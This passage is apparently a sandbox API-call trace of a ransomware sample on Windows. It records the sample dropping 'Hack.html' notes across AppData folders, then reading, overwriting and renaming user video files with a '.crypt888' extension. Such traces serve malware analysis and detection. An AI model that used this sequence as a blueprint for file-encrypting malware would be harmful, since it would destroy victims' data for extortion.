dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0078.485] GetFileType (hFile=0x174) returned 0x1 [0078.485] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0078.485] GetFileType (hFile=0x174) returned 0x1 [0078.486] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0078.486] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.486] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.486] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.486] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0078.487] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0078.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0078.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0078.487] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0078.487] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.487] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.487] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.487] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0078.488] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0078.488] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0078.488] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0078.488] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0078.488] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0078.488] GetFileType (hFile=0x174) returned 0x1 [0078.488] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0078.489] GetFileType (hFile=0x174) returned 0x1 [0078.490] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0078.490] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0078.498] GetFileType (hFile=0x174) returned 0x1 [0078.498] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0078.498] GetFileType (hFile=0x174) returned 0x1 [0078.499] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0078.499] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0078.500] GetFileType (hFile=0x174) returned 0x1 [0078.500] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0078.500] GetFileType (hFile=0x174) returned 0x1 [0078.501] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0078.501] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0078.501] GetFileType (hFile=0x174) returned 0x1 [0078.501] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0078.501] GetFileType (hFile=0x174) returned 0x1 [0078.502] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0078.502] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.502] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.503] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.503] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.503] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.503] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.503] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.503] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.503] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.503] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.504] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.504] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.504] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.504] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.504] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.504] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.504] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.504] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.505] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.505] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.505] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.505] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.505] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.505] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.505] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.505] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.505] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.505] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.505] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.506] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.506] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.506] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.506] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.506] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.506] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.506] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.506] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.506] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.506] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.506] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.506] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.506] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.506] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.506] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.506] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.506] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0078.506] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0078.506] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0078.506] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0078.507] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.507] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.507] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.507] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.507] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.507] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.507] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.507] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.507] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.507] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.507] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.507] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.507] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.507] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.507] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.507] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.507] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.507] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.507] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.508] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.508] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.508] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.508] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.508] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.508] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.508] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.508] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.508] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.508] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.508] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.508] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.508] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.508] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.508] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.508] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.508] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.508] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.508] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.508] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.509] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.509] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.509] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.509] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.509] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.509] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0078.509] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0078.509] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0078.509] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0078.509] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0078.509] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0yzaIKnihg.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\0yzaiknihg.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0078.509] GetFileType (hFile=0x174) returned 0x1 [0078.509] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0078.509] GetFileType (hFile=0x174) returned 0x1 [0078.509] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xdf46 [0078.509] ReadFile (in: hFile=0x174, lpBuffer=0x27d9fa4, nNumberOfBytesToRead=0xdf46, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x27d9fa4*, lpNumberOfBytesRead=0x39ed24*=0xdf46, lpOverlapped=0x0) returned 1 [0078.527] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0078.527] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0yzaIKnihg.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\0yzaiknihg.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0078.531] GetFileType (hFile=0x174) returned 0x1 [0078.531] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0078.531] GetFileType (hFile=0x174) returned 0x1 [0078.531] WriteFile (in: hFile=0x174, lpBuffer=0x2850b70*, nNumberOfBytesToWrite=0xdf50, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x2850b70*, lpNumberOfBytesWritten=0x39ed14*=0xdf50, lpOverlapped=0x0) returned 1 [0078.533] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0078.533] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0078.533] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0yzaIKnihg.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\0yzaiknihg.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0yzaIKnihg.mp4.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\0yzaiknihg.mp4.crypt888")) returned 1 [0078.536] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0078.536] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2RvTLVhB.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2rvtlvhb.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0078.537] GetFileType (hFile=0x174) returned 0x1 [0078.537] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0078.537] GetFileType (hFile=0x174) returned 0x1 [0078.537] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x1113c [0078.537] ReadFile (in: hFile=0x174, lpBuffer=0x285eecc, nNumberOfBytesToRead=0x1113c, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x285eecc*, lpNumberOfBytesRead=0x39ed24*=0x1113c, lpOverlapped=0x0) returned 1 [0078.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0078.560] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2RvTLVhB.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2rvtlvhb.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0078.562] GetFileType (hFile=0x174) returned 0x1 [0078.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0078.562] GetFileType (hFile=0x174) returned 0x1 [0078.562] WriteFile (in: hFile=0x174, lpBuffer=0x26d30c4*, nNumberOfBytesToWrite=0x11140, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x26d30c4*, lpNumberOfBytesWritten=0x39ed14*=0x11140, lpOverlapped=0x0) returned 1 [0078.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0078.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0078.564] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2RvTLVhB.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2rvtlvhb.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2RvTLVhB.mp4.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2rvtlvhb.mp4.crypt888")) returned 1 [0078.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0078.568] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\6iTkZGL9.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\6itkzgl9.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0078.569] GetFileType (hFile=0x174) returned 0x1 [0078.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0078.569] GetFileType (hFile=0x174) returned 0x1 [0078.569] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xfa69 [0078.569] ReadFile (in: hFile=0x174, lpBuffer=0x26e45fc, nNumberOfBytesToRead=0xfa69, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x26e45fc*, lpNumberOfBytesRead=0x39ed24*=0xfa69, lpOverlapped=0x0) returned 1 [0078.589] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0078.589] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\6iTkZGL9.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\6itkzgl9.flv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0078.592] GetFileType (hFile=0x174) returned 0x1 [0078.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0078.592] GetFileType (hFile=0x174) returned 0x1 [0078.592] WriteFile (in: hFile=0x174, lpBuffer=0x2760484*, nNumberOfBytesToWrite=0xfa70, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x2760484*, lpNumberOfBytesWritten=0x39ed14*=0xfa70, lpOverlapped=0x0) returned 1 [0078.594] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0078.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0078.594] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\6iTkZGL9.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\6itkzgl9.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\6iTkZGL9.flv.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\6itkzgl9.flv.crypt888")) returned 1 [0078.597] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0078.597] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7Et3RLO.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\7et3rlo.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0078.597] GetFileType (hFile=0x174) returned 0x1 [0078.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0078.597] GetFileType (hFile=0x174) returned 0x1 [0078.597] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x1061a [0078.598] ReadFile (in: hFile=0x174, lpBuffer=0x27702cc, nNumberOfBytesToRead=0x1061a, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x27702cc*, lpNumberOfBytesRead=0x39ed24*=0x1061a, lpOverlapped=0x0) returned 1 [0078.620] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0078.620] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7Et3RLO.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\7et3rlo.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0078.621] GetFileType (hFile=0x174) returned 0x1 [0078.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0078.621] GetFileType (hFile=0x174) returned 0x1 [0078.621] WriteFile (in: hFile=0x174, lpBuffer=0x27ee308*, nNumberOfBytesToWrite=0x10620, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x27ee308*, lpNumberOfBytesWritten=0x39ed14*=0x10620, lpOverlapped=0x0) returned 1 [0078.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0078.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0078.624] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7Et3RLO.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\7et3rlo.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7Et3RLO.mp4.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\7et3rlo.mp4.crypt888")) returned 1 [0078.627] SetThreadErrorMode (dwNewMode=0x1, 